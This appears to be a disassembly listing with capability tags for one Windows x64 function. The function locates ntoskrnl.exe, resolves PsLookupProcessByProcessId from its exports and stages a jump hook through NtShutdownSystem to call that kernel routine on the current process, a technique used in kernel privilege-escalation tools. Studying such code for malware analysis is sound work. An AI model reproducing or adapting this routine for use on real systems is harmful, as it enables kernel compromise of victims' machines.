Function at 0x180048b70
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd8]
sub rsp, 0x1d8
mov rax, qword [0x18005f908]
xor r14d, r14d
test rax, rax
jne 0x1800499bd
mov rax, qword gs:[0x58]
mov r12d, 0x5a4d
mov edx, dword [0x18005f8b0]
mov rdi, qword [0x18005fa18]
mov esi, dword [0x18005f910]
mov ecx, 4
mov r13, qword [rax + rdx*8]
add r13, rcx
mov dword [rbp + 0x138], esi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], r13
mov eax, dword [r13]
cmp dword [0x18005fb58], eax
jle 0x180048fdd
lea rcx, [0x18005fb58]
call fcn.18004dd14
cmp dword [0x18005fb58], 0xffffffff
jne 0x180048fdd
xor edx, edx
mov dword [rbp + 0x130], r14d
lea r9, [rbp + 0x130]
xor r8d, r8d
mov r13d, r14d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x180048c7f
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x130]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 0x130]
lea r9, [rbp + 0x130]
mov rdx, rax
mov ecx, 0xb
mov r13, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x180048c30
test eax, eax
jns 0x180048c99
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180048fb6
mov edi, r14d
mov dword [rbp + 0x128], r14d
cmp dword [r13], r14d
jbe 0x180048fa0
nop dword [rax]
mov eax, edi
lea rdx, [r13 + 0x30]
imul rcx, rax, 0x128
movzx eax, word [rcx + r13 + 0x2e]
mov r8, 0xffffffffffffffff
add rax, rcx
mov qword [rbp - 0x80], r14
add rdx, rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], recv
lea rbx, [rcx + r13]
inc r8
cmp byte [rdx + r8], 0
jne 0x180048ce4
lea rcx, [rbp - 0x80]
call fcn.1800028b0
cmp qword [rbp - 0x68], 0x10
lea rcx, [rbp - 0x80]
lea rdx, str.ntoskrnl.exe
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x180048f53
lea rdx, [rbx + 0x30]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x58], recv
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180048d40
lea rcx, [rsp + 0x40]
call fcn.1800028b0
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], recv
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180048d80
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1800028b0
mov rdx, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x180048dcb
lea rax, [rcx + 1]
cmp rdx, 0x10
mov qword [rbp + 0x58], rax
lea rbx, [rbp + 0x48]
lea rax, [rbp + 0x48]
cmovae rax, qword [rbp + 0x48]
mov word [rax + rcx], 0x5c
jmp 0x180048de5
mov edx, 1
mov qword [rsp + 0x20], 1
lea rcx, [rbp + 0x48]
call fcn.180002f90
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1800025f0
cmp qword [rbx + 0x18], 0x10
mov rcx, qword [rbx + 0x10]
jb 0x180048dfd
mov rbx, qword [rbx]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.180002700
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x180048e4d
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180048e48
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
mov qword [rbp + 0x58], r14
cmovae rcx, qword [rsp + 0x40]
xor edx, edx
mov qword [rbp + 0x60], recv
mov byte [rbp + 0x48], 0
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
cmp word [rax], r12w
jne 0x180049154
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x180049154
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x180049154
mov r14d, dword [rcx + rsi + 0x1c]
xor edi, edi
mov ebx, dword [rcx + rsi + 0x20]
mov r12d, dword [rcx + rsi + 0x24]
add rbx, rsi
add r12, rsi
lea r15, [rsi + r14]
test r14d, r14d
je 0x180048ef4
nop word [rax + rax]
mov edx, dword [rbx]
lea rcx, str.PsLookupProcessByProcessId
add rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x18004907d
inc edi
add rbx, 4
cmp edi, r14d
jb 0x180048ed0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180048f31
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180048f2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
mov edi, dword [rbp + 0x128]
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov r12d, 0x5a4d
mov byte [rsp + 0x40], r14b
mov qword [rsp + 0x58], recv
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180048f8e
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180048f89
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
inc edi
mov dword [rbp + 0x128], edi
cmp edi, dword [r13]
jb 0x180048cb0
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x30]
mov rbx, r14
lea rcx, [0x18005fb58]
mov qword [0x18005fb50], rbx
call fcn.18004dcb4
mov esi, dword [rbp + 0x138]
mov r12d, 0x5a4d
mov r13, qword [rsp + 0x38]
mov eax, dword [r13]
cmp dword [0x18005fb48], eax
mov rbx, qword [0x18005fb50]
mov qword [rbp + 0x68], r14
jle 0x180049039
lea rcx, [0x18005fb48]
call fcn.18004dd14
cmp dword [0x18005fb48], 0xffffffff
jne 0x180049039
lea rcx, [0x18004f8b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtShutdownSystem
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18005fb48]
mov qword [0x180061bf8], rax
call fcn.18004dcb4
mov rax, qword [0x18005f8d0]
mov dword [rbp - 0x10], 0x25ff
mov word [rbp - 0xc], 0
mov qword [rbp - 0xa], rbx
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x30], recv
mov qword [rbp + 0x78], rcx
mov rcx, qword [rdi + 0x38]
mov qword [rbp + 0x10], rax
test rcx, rcx
jne 0x1800491f3
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
movsxd rax, edi
xor edx, edx
mov r8d, 0x8000
movzx ecx, word [r12 + rax*2]
mov eax, dword [rbp + 0x128]
mov ebx, dword [r15 + rcx*4]
imul rcx, rax, 0x128
add rbx, qword [rcx + r13 + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800490e9
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800490e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
mov rdx, qword [rbp - 0x68]
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], recv
mov byte [rsp + 0x40], r14b
cmp rdx, 0x10
jb 0x18004913a
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180049135
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
mov rdi, qword [rsp + 0x30]
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], recv
mov byte [rbp - 0x80], r14b
jmp 0x180048fb9
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18004918d
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180049188
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
mov rdx, qword [rbp - 0x68]
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x58], recv
mov qword [rsp + 0x50], r14
cmp rdx, 0x10
jb 0x1800491d7
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800491d2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800491ec
call fcn.18004dbb4
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], recv
mov byte [rbp - 0x80], 0
jmp 0x180048fb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx]
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x18005f8d0]
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x18], recv
mov qword [rbp + 0x20], rcx
mov rcx, qword [rdi + 0x78]
mov qword [rbp + 0x28], rax
test rcx, rcx
jne 0x180049231
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov ecx, esi
lea rdx, [rbp + 0x68]
call qword [0x180061bf8]
mov rax, qword [0x18005f8d0]
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x30], recv
mov qword [rbp + 0x38], rcx
mov rcx, qword [rdi + 0x78]
mov qword [rbp + 0x40], rax
test rcx, rcx
jne 0x18004927d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x30]
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
mov r8, qword [rbp + 0x68]
movabs r15, 0xfffffffff000
test r8, r8
jne 0x1800492a7
mov rax, r14
jmp 0x1800492be
add r8, 0x28
lea rdx, [rbp - 0x40]
mov rcx, rdi
call fcn.180001cc0
mov rax, qword [rbp - 0x40]
and rax, r15
mov qword [0x18005f908], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [r13]
mov esi, eax
cmp dword [0x18005fb58], ecx
mov rdi, qword [0x18005fa18]
mov dword [rbp + 0x130], eax
mov qword [rbp - 0x40], rdi
jle 0x180049853
lea rcx, [0x18005fb58]
call fcn.18004dd14
cmp dword [0x18005fb58], 0xffffffff
jne 0x180049853
xor edx, edx
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0x138]
mov dword [rbp + 0x138], r14d
xor r8d, r8d
mov rdi, r14
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x180049386
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x138]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 0x138]
lea r9, [rbp + 0x138]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x180049332
mov qword [rsp + 0x30], rdi
test eax, eax
jns 0x1800493a0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180049829
cmp dword [rdi], 0
mov r13d, r14d
jbe 0x180049813
nop dword [rax]
mov eax, r13d
mov r8, 0xffffffffffffffff
imul rcx, rax, 0x128
movzx eax, word [rdi + rcx + 0x2e]
add rax, rdi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], recv
lea rbx, [rdi + rcx]
lea rdx, [rcx + 0x30]
add rdx, rax
inc r8
cmp byte [rdx + r8], 0
jne 0x1800493e4
lea rcx, [rbp - 0x60]
call fcn.1800028b0
cmp qword [rbp - 0x48], 0x10
lea rcx, [rbp - 0x60]
lea rdx, str.ntoskrnl.exe
cmovae rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x18004964c
lea rdx, [rbx + 0x30]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x78], recv
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180049440
lea rcx, [rsp + 0x60]
call fcn.1800028b0
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], recv
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180049480
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1800028b0
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x28]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1800494cb
lea rax, [rcx + 1]
cmp rdx, 0x10
mov qword [rbp - 0x28], rax
lea rbx, [rbp - 0x38]
lea rax, [rbp - 0x38]
cmovae rax, qword [rbp - 0x38]
mov word [rax + rcx], 0x5c
jmp 0x1800494e5
mov edx, 1
mov qword [rsp + 0x20], 1
lea rcx, [rbp - 0x38]
call fcn.180002f90
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.1800025f0
cmp qword [rbx + 0x18], 0x10
mov rcx, qword [rbx + 0x10]
jb 0x1800494fd
mov rbx, qword [rbx]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rcx, [rsp + 0x60]
mov rdx, rax
call fcn.180002700
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x18004954d
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180049548
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
cmp qword [rsp + 0x78], 0x10
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x28], r14
cmovae rcx, qword [rsp + 0x60]
xor edx, edx
mov qword [rbp - 0x20], recv
mov byte [rbp - 0x38], 0
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
cmp word [rax], r12w
jne 0x180049777
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x180049777
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x180049777
mov r14d, dword [rcx + rsi + 0x1c]
xor edi, edi
mov ebx, dword [rcx + rsi + 0x20]
mov r12d, dword [rcx + rsi + 0x24]
add rbx, rsi
add r12, rsi
lea r15, [rsi + r14]
test r14d, r14d
je 0x1800495f4
nop word [rax + rax]
mov edx, dword [rbx]
lea rcx, str.PsLookupProcessByProcessId
add rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x18004969e
inc edi
add rbx, 4
cmp edi, r14d
jb 0x1800495d0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180049631
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004962c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
mov rdi, qword [rsp + 0x30]
xor r14d, r14d
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x60], r14b
mov qword [rsp + 0x78], recv
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180049687
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180049682
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
inc r13d
cmp r13d, dword [rdi]
jae 0x180049813
mov r12d, 0x5a4d
jmp 0x1800493b0
movsxd rax, edi
xor edx, edx
mov r8d, 0x8000
movzx ecx, word [r12 + rax*2]
mov eax, r13d
mov ebx, dword [r15 + rcx*4]
imul rcx, rax, 0x128
mov rax, qword [rsp + 0x30]
add rbx, qword [rcx + rax + 0x18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18004970c
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180049707
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
mov rdx, qword [rbp - 0x48]
xor r14d, r14d
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], recv
mov byte [rsp + 0x60], r14b
cmp rdx, 0x10
jb 0x18004975d
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180049758
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
mov r13, qword [rsp + 0x38]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], recv
mov byte [rbp - 0x60], r14b
jmp 0x18004982c
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1800497b0
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800497ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
mov rdx, qword [rbp - 0x48]
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x78], recv
mov qword [rsp + 0x70], r14
cmp rdx, 0x10
jb 0x1800497fa
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800497f5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004980c
call fcn.18004dbb4
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], recv
mov byte [rbp - 0x60], 0
jmp 0x180049824
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13, qword [rsp + 0x38]
mov rbx, r14
lea rcx, [0x18005fb58]
mov qword [0x18005fb50], rbx
call fcn.18004dcb4
mov rdi, qword [rbp - 0x40]
movabs r15, 0xfffffffff000
mov esi, dword [rbp + 0x130]
mov eax, dword [r13]
cmp dword [0x18005fb48], eax
mov rbx, qword [0x18005fb50]
mov qword [rbp + 0x70], r14
jle 0x1800498af
lea rcx, [0x18005fb48]
call fcn.18004dd14
cmp dword [0x18005fb48], 0xffffffff
jne 0x1800498af
lea rcx, [0x18004f8b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtShutdownSystem
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18005fb48]
mov qword [0x180061bf8], rax
call fcn.18004dcb4
mov rax, qword [0x18005f8d0]
mov dword [rbp], 0x25ff
mov word [rbp + 4], 0
mov qword [rbp + 6], rbx
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x130], recv
mov qword [rbp - 0x40], rcx
mov rcx, qword [rdi + 0x38]
mov qword [rbp + 0x40], rax
test rcx, rcx
jne 0x1800498f1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x130]
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x18005f8d0]
lea rcx, [rbp]
mov qword [rbp + 0x38], recv
mov qword [rbp + 0x30], rcx
mov rcx, qword [rdi + 0x78]
mov qword [rbp + 0x28], rax
test rcx, rcx
jne 0x180049931
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov ecx, esi
lea rdx, [rbp + 0x70]
call qword [0x180061bf8]
mov rax, qword [0x18005f8d0]
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x20], recv
mov qword [rbp + 0x18], rcx
mov rcx, qword [rdi + 0x78]
mov qword [rbp + 0x10], rax
test rcx, rcx
jne 0x18004997d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x20]
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov r8, qword [rbp + 0x70]
test r8, r8
jne 0x18004999d
mov rax, r14
jmp 0x1800499b6
add r8, 0x28
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.180001cc0
mov rax, qword [rsp + 0x38]
and rax, r15
mov qword [0x18005f908], rax
mov qword [rbp - 0x38], rax
lea r8, [rbp + 0xa0]
mov rax, qword [rbp + 0x120]
mov edx, 4
mov qword [rbp - 0x30], rax
movabs rcx, 0xba8ca9e50549f6e4
mov rax, qword [0x18005fae8]
movups xmm0, xmmword [rbp - 0x38]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x128]
mov qword [rbp - 0x20], rax
movups xmm1, xmmword [rbp - 0x28]
mov qword [rbp - 0x18], 2
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [rbp - 0x18]
movups xmmword [rbp + 0xb0], xmm1
movsd qword [rbp + 0xc0], xmm0
call fcn.18004dbb0
mov ecx, eax
movzx eax, word [rbp + 0x128]
test ecx, ecx
cmovne ax, r14w
add rsp, 0x1d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret